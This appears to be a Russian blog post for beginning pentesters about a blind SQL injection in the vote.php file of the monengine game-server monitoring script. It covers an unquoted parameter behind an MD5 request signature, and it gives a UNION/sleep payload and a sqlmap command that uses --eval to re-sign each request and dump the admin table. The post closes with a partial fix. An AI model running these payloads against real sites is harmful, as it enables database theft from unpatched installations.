Статья про нетипичную эксплуатацию SQL инъекции и про трюк в sqlmap. А еще — про ...

:

Очень давно не писал на Хабр и решил поделиться небольшой, произошедшей в свободное время, и забавной историей. Нет-нет, это статья не о том, что такое sqli и как от них защищаться, а про нетипичную «раскрутку» SQLi. Полезна будет скорее начинающим веб-пентестерам как обучение и, внезапно, некоторым админам мониторингов серверов Counter Strike.
А если заспойлерить для опытных

То статья о том, как менять параметры в sqlmap налету, для каждого запроса по нужному механизму (можно промотать в самый низ и сэкономить 5 минут).

Давайте по-порядку.


В интернете существует множество различных сайтов-мониторингов игровых серверов (в данной истории — Counter Strike), где администраторы добавляют свои сервера и все они выстраиваются в рейтинги по голосам (голосуют игроки, обычно раз в 24 часа).


Пример подобного скрипта

Как-то мне скинули ссылку, просто проголосовать за сервер, естественно сделал я это через burpsuite и заметил, что при голосе передается хэш, который не меняется от IP адреса голосующего и зависит только от ID сервера. Я начал гуглить и нашёл, что на сайте использовался популярный скрипт для мониторинга CS серверов monengine (как на скрине выше).


Скачав исходники по первой ссылке я пошёл в файл в vote.php и сразу стал искать параметр hash (тот самый, что отвечает за голосование за сервер) и нашёл следующую строчку:
if($hash != md5("m0n*********s4lt:P{]we$id@********%;")) exit("Ошибка.");

Файл vote.php, строка 12

Ничего интересного, хэш от ID сервера + зашитая «соль». Посчитав хэш для своего сервера я понял, что «соль» для голосования не меняли.

Пробежав по файлу еще, заметил строки:

$id = mysql_real_escape_string($_POST['id']);

Файл vote.php, строка 9

и

$select_server = "SELECT * FROM ".DB_SERVERS." WHERE server_id = $id";
		$select_server = dbquery($select_server);
		if(mysql_num_rows($select_server) == 1) {

Файл vote.php, строки 23-25

Как видим (строка 9), используется совершенно корректный эскейпинг пользовательских данных (с т.ч. зрения самой функции, а не подхода, например — PDO) для параметра $id через функцию mysql_real_escape_string(). Но (!), важный момент, сам параметр не обрамлён в кавычки, строка 23 (например PDO делает это автоматически). Т.е. для модификации SQL запроса не требуется использование кавычек и функция mysql_real_escape_string() идёт лесом (исключая некоторые ситуации, например использование into outfile, где кавычки обязательны и трюки через hex и т.п. не работают).

Замечаем, что результат запроса не выводится на страницу, а обрабатывается функцией mysql_num_rows(), т.е. инъекция является слепой (что вполне нормально).

Но самый интересный момент, что для того, чтобы отправить sql инъекцию нам надо её… подписать!

Задача сводится к «раскрутке» blind sql инъекции, где каждый запрос нужно подписывать по заранее известному алгоритму. Можно начать писать свой небольшой эксплойт, используя конструкцию вида

$id = "-1 union select 1,2,3,4,5,6,7,......... from mon_admin where admin_id =1 and admin_pass = 0x61 or sleep(1)-- -";

И подписывая каждый раз свои запросы на сервер

$hash = md5("m0n*********s4lt:P{]we$id@********%;");

Для нахождения и «раскрутки» sqli существует популярный инструмент — sqlmap. Поэтому, вместо того, чтобы писать свой эксплойт, можно подключить его. Но в данном случае он бы ничего не нашел, так как просто бы не дошел до момента, когда скрипт vote.php выполняет запрос (из-за неверной подписи). Т.е. наша задача модифицировать при каждом запросе один из POST параметров (hash) по нужному алгоритму. Легко это сделать через параметр --eval, где можно написать python код, где переменная, указанная внутри eval, будет изменяться перед отправкой.
Итог:
python sqlmap.py 
-u "http://vuln.com/vote.php" 
--data="action=voteup&id=1&hash=2" // POST параметры для скрипта
--eval="import hashlib;hash=hashlib.md5('m0n*********s4lt:P{]we$id@********%;').hexdigest()" // пересчет параметра hash по нужному алгоритму
-p id // параметр для инъекции
--dbms=MySQL
--union-cols=XXX --level=XXX
--dump -T mon_admin // дамп нужной таблицы
--headers="X-Requested-With: XMLHttpRequest" // в скрипте проверяется заголовок, ajax запрос или нет

Итог — sqli будет раскручена. Из забавного — не получится ничего сделать если соль и/или алгоритм для подписи будут неизвестны атакующему.

P.S. Я пытался найти создателя скрипта, но не нашел. Как я понял, разработка давно закрыта и всё просто ставят этот скрипт как есть, меняя оформление. Поэтому, если пользуетесь этим скриптом, то можно поправить данную уязвимость
В файле vote.php меняем

$select_server = "SELECT * FROM ".DB_SERVERS." WHERE server_id = $id";

на
$select_server = "SELECT * FROM ".DB_SERVERS." WHERE server_id = '$id'";

Но это не спасёт еще от пачки потенциальных баг, которые есть в этом же скрипте.